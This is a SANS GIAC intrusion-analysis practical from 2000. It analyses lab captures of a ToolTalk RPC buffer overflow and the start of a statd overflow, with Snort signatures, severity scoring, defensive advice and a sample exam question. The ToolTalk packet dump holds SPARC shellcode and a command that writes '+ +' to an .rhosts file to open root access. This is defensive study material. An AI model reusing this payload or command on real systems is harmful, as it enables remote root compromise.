SANS GIAC Certified Intrusion Analyst Practical

GIAC INTRUSION DETECTION CURRICULUM
PRACTICAL ASSIGNMENT – NETWORK SECURITY 2000

SUBMITTED BY: Maria da Graça Bianchi
NOV – 2000

Assignment 1 - Network Detects

Severity
Criticality (how critical the target is)
Lethality (how likely the attack is to do damage)
Countermeasures
  System (about operation systems, patches, (no) wrappers
  Network (restrictive / permissive firewall)

(Criticality + Lethality) – (System + Net Countermeasures) = Severity

Assignment 2 – Evaluate and Attack
Assignment 3 – Analyze This
Assignment 4 – Analysis Process

Assignment 1 - Network Detects

go to the top

DETECT1

These two events were received from two separate machines, both the events are **Tooltalk** Utility.
These attacks can use TCP and UDP

Attack number 1
hacker.com -> dns1.mynet.com PORTMAP C Null
dns1.mynet.com -> hacker.com PORTMAP R Null
hacker.com -> dns1.mynet.com TCP D=111 S=823 Syn Seq=7238013 Len=0 Win=8192
dns1.mynet.com -> hacker.com TCP D=823 S=111 Syn Ack=7238014 Seq=446858097 Len=0 Win=8760

hacker.com -> dns1.mynet.com TCP D=111 S=823 Ack=446858098 Seq=7238014 Len=0 Win=8760
hacker.com -> dns1.mynet.com PORTMAP C DUMP
dns1.mynet.com -> hacker.com TCP D=823 S=111 Ack=7238058 Seq=446858098 Len=0 Win=8716
dns1.mynet.com -> hacker.com PORTMAP R DUMP 42 map(s) found
hacker.com -> dns1.mynet.com TCP D=111 S=823 Fin Ack=446858970 Seq=7238058 Len=0 Win=7888
dns1.mynet.com -> hacker.com TCP D=823 S=111 Ack=7238059 Seq=446858970 Len=0 Win=8760
dns1.mynet.com -> hacker.com TCP D=823 S=111 Fin Ack=7238059 Seq=446858970 Len=0 Win=8760
hacker.com -> dns1.mynet.com TCP D=111 S=823 Ack=446858971 Seq=7238059 Len=0 Win=7888
hacker.com -> dns1.mynet.com PORTMAP C GETPORT prog=100083 (?) vers=1 proto=TCP (retransmit)
dns1.mynet.com -> hacker.com PORTMAP R GETPORT port=32774
hacker.com -> dns1.mynet.com TCP D=32774 S=825 Syn Seq=7238142 Len=0 Win=8192
dns1.mynet.com -> hacker.com TCP D=825 S=32774 Syn Ack=7238143 Seq=446942650 Len=0 Win=8760
hacker.com -> dns1.mynet.com TCP D=32774 S=825 Ack=446942651 Seq=7238143 Len=0 Win=8760
hacker.com -> dns1.mynet.com RPC C XID=949528014 PROG=100083 (?) VERS=1 PROC=7
dns1.mynet.com -> hacker.com TCP D=825 S=32774 Ack=7238227 Seq=446942651 Len=0 Win=8760
dns1.mynet.com -> hacker.com RPC R (#59) XID=949528014 Success
hacker.com -> dns1.mynet.com RPC C XID=932750798 PROG=100083 (?) VERS=1 PROC=7
dns1.mynet.com -> hacker.com TCP D=825 S=32774 Ack=7239687 Seq=446942687 Len=0 Win=8760
hacker.com -> dns1.mynet.com TCP D=32774 S=825 Ack=446942687 Seq=7239687 Len=1460 Win=8724
hacker.com -> dns1.mynet.com TCP D=32774 S=825 Ack=446942687 Seq=7241147 Len=1460 Win=8724
dns1.mynet.com -> hacker.com TCP D=825 S=32774 Ack=7242607 Seq=446942687 Len=0 Win=8760
hacker.com -> dns1.mynet.com TCP D=32774 S=825 Ack=446942687 Seq=7242607 Len=1460 Win=8724
hacker.com -> dns1.mynet.com TCP D=32774 S=825 Ack=446942687 Seq=7244067 Len=1460 Win=8724
hacker.com -> dns1.mynet.com TCP D=32774 S=825 Ack=446942687 Seq=7245527 Len=1460 Win=8724
dns1.mynet.com -> hacker.com TCP D=825 S=32774 Ack=7246987 Seq=446942687 Len=0 Win=8760
hacker.com -> dns1.mynet.com TCP D=32774 S=825 Ack=446942687 Seq=7246987 Len=1324 Win=8724
dns1.mynet.com -> hacker.com TCP D=825 S=32774 Ack=7248311 Seq=446942687 Len=0 Win=8760

```
dns1.mynet.com -> hacker.com TCP D=825 S=32774 Fin Ack=7248311 Seq=446942687
Len=0 Win=8760
hacker.com -> dns1.mynet.com TCP D=32774 S=825      Ack=446942688 Seq=7248311
Len=0 Win=8724
hacker.com -> dns1.mynet.com TCP D=32774 S=825 Fin Ack=446942688 Seq=7248311
Len=0 Win=8724
dns1.mynet.com -> hacker.com TCP D=825 S=32774      Ack=7248312 Seq=446942688
Len=0 Win=8760
```

Attack number 2

The Snort logs retreived from this event were as follows:

Part 1

```
[**] RPC Info Query [**]
10/12-17:07:12.187477 192.168.10.1:5208 -> 192.168.50.1:111
TCP TTL:128 TOS:0x0 ID:32207  DF
*****PA* Seq: 0x7D509A   Ack: 0x30FBBB1A   Win: 0x2238
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] RPC Info Query [**]
10/12-17:07:12.190365 192.168.10.1:5208 -> 192.168.50.1:111
TCP TTL:127 TOS:0x0 ID:32207  DF
*****PA* Seq: 0x7D509A   Ack: 0x30FBBB1A   Win: 0x2238
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

Part 2

```
[**] IDS24 - RPC - portmap-request-ttdbserv [**]
10/12-17:08:16.528075 192.168.10.1:5209 -> 192.168.50.1:111
UDP TTL:128 TOS:0x0 ID:16345
Len: 64
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] IDS24 - RPC - portmap-request-ttdbserv [**]
10/12-17:08:16.529628 192.168.10.1:5209 -> 192.168.50.1:111
UDP TTL:127 TOS:0x0 ID:16345
Len: 64
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

Part 3

```
[**] IDS24 - RPC - portmap-request-ttdbserv [**]
10/12-17:08:16.533422 192.168.10.1:5210 -> 192.168.50.1:111
UDP TTL:128 TOS:0x0 ID:16601
Len: 64
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] IDS24 - RPC - portmap-request-ttdbserv [**]
10/12-17:08:16.535055 192.168.10.1:5210 -> 192.168.50.1:111
UDP TTL:127 TOS:0x0 ID:16601
Len: 64
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

Snoop:

```
192.168.10.1 -> 192.168.50.1 PORTMAP C Null (retransmit)
192.168.50.1 -> 192.168.10.1 PORTMAP R Null
```

```
192.168.50.1 -> 192.168.10.1 PORTMAP R Null
192.168.10.1 -> 192.168.50.1 TCP D=111 S=5208 Syn Seq=8212633 Len=0 Win=8192
192.168.10.1 -> 192.168.50.1 TCP D=111 S=5208 Syn Seq=8212633 Len=0 Win=8192
192.168.50.1 -> 192.168.10.1 TCP D=5208 S=111 Syn Ack=8212634 Seq=821803801 Len=0 Win=8760
192.168.50.1 -> 192.168.10.1 TCP D=5208 S=111 Syn Ack=8212634 Seq=821803801 Len=0 Win=8760
192.168.10.1 -> 192.168.50.1 TCP D=111 S=5208 Ack=821803802 Seq=8212634 Len=0 Win=8760
192.168.10.1 -> 192.168.50.1 PORTMAP C DUMP
192.168.10.1 -> 192.168.50.1 TCP D=111 S=5208 Ack=821803802 Seq=8212634 Len=0 Win=8760
192.168.10.1 -> 192.168.50.1 PORTMAP C DUMP (retransmit)
192.168.50.1 -> 192.168.10.1 TCP D=5208 S=111 Ack=8212678 Seq=821803802 Len=0 Win=8716
192.168.50.1 -> 192.168.10.1 TCP D=5208 S=111 Ack=8212678 Seq=821803802 Len=0 Win=8716
192.168.50.1 -> 192.168.10.1 PORTMAP R DUMP 10 map(s) found
192.168.50.1 -> 192.168.10.1 PORTMAP R DUMP 10 map(s) found
192.168.10.1 -> 192.168.50.1 TCP D=111 S=5208 Fin Ack=821804034 Seq=8212678 Len=0 Win=8528
192.168.10.1 -> 192.168.50.1 RPC C XID=3735928559 PROG=0 (?) VERS=0 PROC=0
192.168.10.1 -> 192.168.50.1 RPC C XID=3735928560 PROG=0 (?) VERS=0 PROC=0
192.168.10.1 -> 192.168.50.1 RPC C XID=3735928561 PROG=0 (?) VERS=0 PROC=0
192.168.10.1 -> 192.168.50.1 RPC C XID=3735928562 PROG=0 (?) VERS=0 PROC=0
...several
192.168.50.1 -> 192.168.10.1 ICMP Destination unreachable (Bad port)
192.168.10.1 -> 192.168.50.1 ICMP Echo request
192.168.10.1 -> 192.168.50.1 ICMP Echo request
192.168.50.1 -> 192.168.10.1 ICMP Echo reply
192.168.50.1 -> 192.168.10.1 ICMP Echo reply
192.168.10.1 -> 192.168.50.1 PORTMAP C GETPORT prog=100083 (?) vers=1 proto=TCP
192.168.10.1 -> 192.168.50.1 PORTMAP C GETPORT prog=100083 (?) vers=1 proto=TCP (retransmit)
192.168.50.1 -> 192.168.10.1 PORTMAP R GETPORT port=0
192.168.50.1 -> 192.168.10.1 PORTMAP R GETPORT port=0
192.168.10.1 -> 192.168.50.1 PORTMAP C GETPORT prog=100083 (?) vers=1 proto=UDP (retransmit)
192.168.10.1 -> 192.168.50.1 PORTMAP C GETPORT prog=100083 (?) vers=1 proto=UDP (retransmit)
192.168.50.1 -> 192.168.10.1 PORTMAP R GETPORT port=0
192.168.50.1 -> 192.168.10.1 PORTMAP R GETPORT port=0
```

Source of Trace:
This detect was gathered from one small laboratory to tests of Intrusion Detection

Detect was generated by:
Attack number 1
Snoop for Solaris
Source IP > Destination IP
Attack number 2
Snort Intrusion Detection System

SNORT SIGNATURE:
alert UDP $EXTERNAL any -> $INTERNAL 111 (msg: "IDS24/portmap-request-ttdbserv"; content: "|01 86 F3 00 00|"; depth: 8; offset: 40;)

alert tcp !$HOME_NET any -. $HOME_NET 111 (msg:"RPC Info Query"; content :"|00 01 86 A0 00 00 00 02 00 00 00 04|";) alert
(the scan and rpcinfo request)

alert TCP $EXTERNAL any -> $INTERNAL 32771:34000 (msg: "IDS242/rpc.ttdbserv-solaris-overflow"; dsize: >999; flags: AP; content: "|C0 22 3F FC A2 02 20 09 C0 2C 7F FF E2 22 3F F4|";)

Sample of packet traces IDS242/rpc.ttdbserver-solaris-overflow:

```
02/11-14:41:09.518948          attacker:837          ->          victim:32774
TCP          TTL:255          TOS:0x0          ID:47970          DF
***PA*    Seq:    0x180FF7F4          Ack:    0x1D8E689B          Win:    0x2398
80 00 04 8C 38 A3 2C 1D 00 00 00 00 00 00 00 02    ....8.,.........
00 01 86 F3 00 00 00 01 00 00 00 07 00 00 00 01    ................
00 00 00 20 38 A4 90 05 00 00 00 09 6C 6F 63 61    ... 8.......loca
6C 68 6F 73 74 00 00 00 00 00 00 00 00 00 00 00    lhost...........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 40    ...............@
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
```

```
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11                            ..@...@.

02/11-14:41:09.552617 attacker:837 -> victim:32774
TCP TTL:255 TOS:0x0 ID:47971 DF
****A* Seq: 0x180FFA0C Ack: 0x1D8E689B Win: 0x2398
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11    ..@...@...@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 20 BF FF FF    ..@...@...@. ...
20 BF FF FF 7F FF FF FF 92 03 E0 48 90 02 60 10    .........H..`.
E0 02 3F F0 A2 80 3F FF A0 24 40 10 D0 22 3F F0    ..?...?..$@.."?.
C0 22 3F FC A2 02 20 09 C0 2C 7F FF E2 22 3F F4    ."?... ..,..."?.
A2 04 60 03 C0 2C 7F FF E2 22 3F F8 A2 04 40 10    ..`..,..."?...@.
C0 2C 7F FF 82 10 20 0B 91 D0 20 08 FF FF FF E1    .,.... ... .....
22 22 22 22 33 33 33 33 44 44 44 44 2F 62 69 6E    """"3333DDDD/bin
2F 6B 73 68 2E 2D 63 2E                            /ksh.-c.

02/11-14:41:09.552630 attacker:837 -> victim:32774
TCP TTL:255 TOS:0x0 ID:47972 DF
```

```
***PA*     Seq:    0x180FFC24          Ack:    0x1D8E689B          Win:    0x2398
65  63  68  6F  20  27  2B  20  2B  27  20  3E  20  2F  75  73    echo '+ +' > /us
72  2F  62  69  6E  2F  2E  72  68  6F  73  74  73  2E  40  11    r/bin/.rhosts.@.
EF  FF  D6  18  EF  FF  D6  18  EF  FF  D6  18  EF  FF  D6  18    ................
EF  FF  D6  18  EF  FF  D6  18  EF  FF  D6  18  EF  FF  D6  18    ................
EF  FF  D6  18  EF  FF  D6  18  EF  FF  D6  18  EF  FF  D6  18    ................
EF FF D6 18 EF FF D6 18 EF FF D6 18 EF FF D6 18  ................
```

Probability the source address was spoofed:

This attack requires a three-way handshake in order to succeed. **This attack needs response**. This is a test in the laboratory. It´s not a source address spoofed.

Description of attack:

ToolTalk is a utility that allows applications to exchange messages between each other. A stack overflow in the rpc.ttdbserver could allow a remote attacker to execute arbitrary code with root privileges.
This attack was with success, because this machine has Tooltalk vulnerability (Stack Overflow in ToolTalk RPC Service).
An implementation fault in the ToolTalk object database server allows a malicious remote attacker to run arbitrary code (to formulate an RPC message) as the superuser on hosts supporting the ToolTalk service.It will cause the server to overflow an automatic variable on the stack. By overwriting activation records stored on the stack, it is possible to force a transfer of control into arbitrary instructions provided by the attacker in the RPC message, an thus gain total control of the server process. The affected program runs on many popular UNIX operating systems supporting CDE and some Open Windows installs. This vulnerability is being actively exploited by attackers on the Internet.

Attack Mechanism:

The observed attack utilized the ToolTalk Database (TTDB) RPC procedure number 7, with an XDR-encoded string as its sole argument. TTDB procedure 7 corresponds to the _ tt _ iserase _1() function symbol in the Solaris binary (/usr/openwin/bin/rpc.ttdbserved).This function implements an RPC procedure which takes an ASCII string as an argument, which is treated as pathname.
The pathname string is passed to the funcion isopen(), which in turn passes it to _ am _ opwn(), then to _amopen(), _openfcb(), *isfcb*open(), and finally to *open*datgfile(), where it, as the first argument to the funcion, is passed directly to a strcpy(0 to a pointer on the stack. If the pathname strin is suitably large, the string overflows the stack buffer and overwrites an activation record, allowing control to transfer into instructions stored in the pathname string**.**
tt

Correlations:

It has been reported as Cert Advisory CA-98.11.tooltalk (Stack Overflow in ToolTalk RPC Service) CAN-1999-0632 CVE 1999-0003 – Execute commands as root via buffer overflow in Tooltalk database server (rpc.ttdbserverd) CVE 1999-0687 – The ToolTalk ttsession daemon uses weak RPC Authentication, which allows a remote attacker to execute Commands CVE 1999-0693 - Buffer overflow in TT_SESSION environment variable in ToolTalk shared library allows local users to gain root privileges. IDS24 – portmap-request-ttdbserv (UDP) IDS242 – rpc.ttdbserv-solaris-overflow This is a knows exploit attempt against the Solaris rpc.ttbserverd process. Successfull execution allows the attacker to run arbitrary commands on the server (TCP)

Evidence of Active Targeting:

The RPC program number for the ToolTalk database service is 100083 -(rpc.ttdbserved).

Message – evidence of attack :
/usr/dt/bin/rpc.ttdbserverd[ ] : irease ( ):2
/usr/dt/bin/rpc.ttdbserverd: Segmentation Fault – core dumped

Severity

(Criticality + Lethality) – (System + Net Countermeasures) = Severity

Criticality = 5 (DNS server)
Lethality = 5 (attacker can gain root across net)
System = 3 (some patches missing)
Net = 2 (permissive firewall)

Severity = (5+5) – (3+2) = 5

Defensive Recommendation:

It can be resolved by applying patches to or replacing affected software (Tooltalk) or disabling the ToolTalk (rpc.ttdbserver) database service. Remove the files rpc.ttdbserved and check in the system an entry exists for this program, such as, 100083 1 tcp 692 (/etc/inet/ined.conf) and remove.

Possible Multiple choice question:

Question:
10/12-17:08:16.528075 192.168.10.1:5209 -> 192.168.50.1:111
UDP TTL:128 TOS:0x0 ID:16345
Len: 64
10/12-17:08:16.529628 192.168.10.1:5209 -> 192.168.50.1:111
UDP TTL:127 TOS:0x0 ID:16345
Len: 64
10/12-17:08:16.533422 192.168.10.1:5210 -> 192.168.50.1:111
UDP TTL:128 TOS:0x0 ID:16601
Len: 64
10/12-17:08:16.535055 192.168.10.1:5210 -> 192.168.50.1:111
UDP TTL:127 TOS:0x0 ID:16601
Len: 64

For the previous packet, the query was sent to the:
A) portmap daemon
B) smtp daemon
C) telnet daemon
D) dns daemon

Answer:
A) portmap daemon
Requesting port information for the ttdbserv service.

DETECT 2

Unauthorized Access Attempt – Statd Buffer Overflow Attack
Risk Level: High

In this trace, this machine is vulnerable to attack.

ETHER: ----- Ether Header -----
ETHER:
ETHER: Packet 54 arrived at 20:10:12.26
ETHER: Packet size = 82 bytes
ETHER: Destination = 8:0:20:7d:51:f6, Sun
ETHER: Source = 0:50:4:72:5c:fa,
ETHER: Ethertype = 0800 (IP)
ETHER:
IP: ----- IP Header -----
IP:
IP: Version = 4
IP: Header length = 20 bytes

```
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 68 bytes
IP:   Identification = 59904
IP:   Flags = 0x0
IP:         .0.. .... = may fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 128 seconds/hops
IP:   Protocol = 17 (UDP)
IP:   Header checksum = 7fd3
IP:   Source address = 192.168.10.1, 192.168.10.1
IP:   Destination address = 192.168.50.2, teste
IP:   No options
IP:
UDP:  ----- UDP Header -----
UDP:
UDP:  Source port = 811
UDP:  Destination port = 111 (Sun RPC)
UDP:  Length = 48
UDP:  Checksum = F9AC
UDP:
RPC:  ----- SUN RPC Header -----
RPC:
RPC:  Transaction id = 983330864
RPC:  Type = 0 (Call)
RPC:  RPC version = 2
RPC:  Program = 100000 (PMAP), version = 2, procedure = 0
RPC:  Credentials: Flavor = 0 (None), len = 0 bytes
RPC:  Verifier   : Flavor = 0 (None), len = 0 bytes
RPC:
PMAP:  ----- Portmapper -----
PMAP:
PMAP:  Proc = 0 (Null procedure)
PMAP:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 55 arrived at 20:10:12.26
ETHER:  Packet size = 66 bytes
ETHER:  Destination = 0:50:4:72:5c:fa,
ETHER:  Source      = 8:0:20:7d:51:f6, Sun
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
```

```
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 52 bytes
IP:   Identification = 50248
IP:   Flags = 0x4
IP:         .1.. .... = do not fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 255 seconds/hops
IP:   Protocol = 17 (UDP)
IP:   Header checksum = e69a
IP:   Source address = 192.168.50.2, teste
IP:   Destination address = 192.168.10.1, 192.168.10.1
IP:   No options
IP:
UDP:  ----- UDP Header -----
UDP:
UDP:  Source port = 111
UDP:  Destination port = 811 (Sun RPC)
UDP:  Length = 32
UDP:  Checksum = 8071
UDP:
RPC:  ----- SUN RPC Header -----
RPC:
RPC:  Transaction id = 983330864
RPC:  Type = 1 (Reply)
RPC:  This is a reply to frame 54
RPC:  Status = 0 (Accepted)
RPC:  Verifier   : Flavor = 0 (None), len = 0 bytes
RPC:  Accept status = 0 (Success)
RPC:
PMAP:  ----- Portmapper -----
PMAP:
PMAP:  Proc = 0 (Null procedure)
PMAP:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 56 arrived at 20:10:12.26
ETHER:  Packet size = 60 bytes
ETHER:  Destination = 8:0:20:7d:51:f6, Sun
ETHER:  Source      = 0:50:4:72:5c:fa,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
```

```
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 44 bytes
IP:   Identification = 60160
IP:   Flags = 0x4
IP:         .1.. .... = do not fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 128 seconds/hops
IP:   Protocol = 6 (TCP)
IP:   Header checksum = 3ef6
IP:   Source address = 192.168.10.1, 192.168.10.1
IP:   Destination address = 192.168.50.2, teste
IP:   No options
IP:
TCP:  ----- TCP Header -----
TCP:
TCP:  Source port = 812
TCP:  Destination port = 111
TCP:  Sequence number = 1101010
TCP:  Acknowledgement number = 0
TCP:  Data offset = 24 bytes
TCP:  Flags = 0x02
TCP:        ..0. .... = No urgent pointer
TCP:        ...0 .... = No acknowledgement
TCP:        .... 0... = No push
TCP:        .... .0.. = No reset
TCP:        .... ..1. = Syn
TCP:        .... ...0 = No Fin
TCP:  Window = 8192
TCP:  Checksum = 0xd6d3
TCP:  Urgent pointer = 0
TCP:  Options: (4 bytes)
TCP:    - Maximum segment size = 1460 bytes
TCP:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 57 arrived at 20:10:12.26
ETHER:  Packet size = 58 bytes
ETHER:  Destination = 0:50:4:72:5c:fa,
ETHER:  Source      = 8:0:20:7d:51:f6, Sun
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
```

```
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 44 bytes
IP:   Identification = 50249
IP:   Flags = 0x4
IP:         .1.. .... = do not fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 255 seconds/hops
IP:   Protocol = 6 (TCP)
IP:   Header checksum = e6ac
IP:   Source address = 192.168.50.2, teste
IP:   Destination address = 192.168.10.1, 192.168.10.1
IP:   No options
IP:
TCP:  ----- TCP Header -----
TCP:
TCP:  Source port = 111
TCP:  Destination port = 812
TCP:  Sequence number = 142323276
TCP:  Acknowledgement number = 1101011
TCP:  Data offset = 24 bytes
TCP:  Flags = 0x12
TCP:        ..0. .... = No urgent pointer
TCP:        ...1 .... = Acknowledgement
TCP:        .... 0... = No push
TCP:        .... .0.. = No reset
TCP:        .... ..1. = Syn
TCP:        .... ...0 = No Fin
TCP:  Window = 8760
TCP:  Checksum = 0x1dc3
TCP:  Urgent pointer = 0
TCP:  Options: (4 bytes)
TCP:    - Maximum segment size = 1460 bytes
TCP:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 58 arrived at 20:10:12.27
ETHER:  Packet size = 60 bytes
ETHER:  Destination = 8:0:20:7d:51:f6, Sun
ETHER:  Source      = 0:50:4:72:5c:fa,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
```

```
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 40 bytes
IP:   Identification = 60416
IP:   Flags = 0x4
IP:         .1.. .... = do not fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 128 seconds/hops
IP:   Protocol = 6 (TCP)
IP:   Header checksum = 3dfa
IP:   Source address = 192.168.10.1, 192.168.10.1
IP:   Destination address = 192.168.50.2, teste
IP:   No options
IP:
TCP:  ----- TCP Header -----
TCP:
TCP:  Source port = 812
TCP:  Destination port = 111
TCP:  Sequence number = 1101011
TCP:  Acknowledgement number = 142323277
TCP:  Data offset = 20 bytes
TCP:  Flags = 0x10
TCP:        ..0. .... = No urgent pointer
TCP:        ...1 .... = Acknowledgement
TCP:        .... 0... = No push
TCP:        .... .0.. = No reset
TCP:        .... ..0. = No Syn
TCP:        .... ...0 = No Fin
TCP:  Window = 8760
TCP:  Checksum = 0x3580
TCP:  Urgent pointer = 0
TCP:  No options
TCP:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 59 arrived at 20:10:12.27
ETHER:  Packet size = 98 bytes
ETHER:  Destination = 8:0:20:7d:51:f6, Sun
ETHER:  Source      = 0:50:4:72:5c:fa,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
```

```
IP:        xxx. .... = 0 (precedence)
IP:        ...0 .... = normal delay
IP:        .... 0... = normal throughput
IP:        .... .0.. = normal reliability
IP:   Total length = 84 bytes
IP:   Identification = 60672
IP:   Flags = 0x4
IP:        .1.. .... = do not fragment
IP:        ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 128 seconds/hops
IP:   Protocol = 6 (TCP)
IP:   Header checksum = 3cce
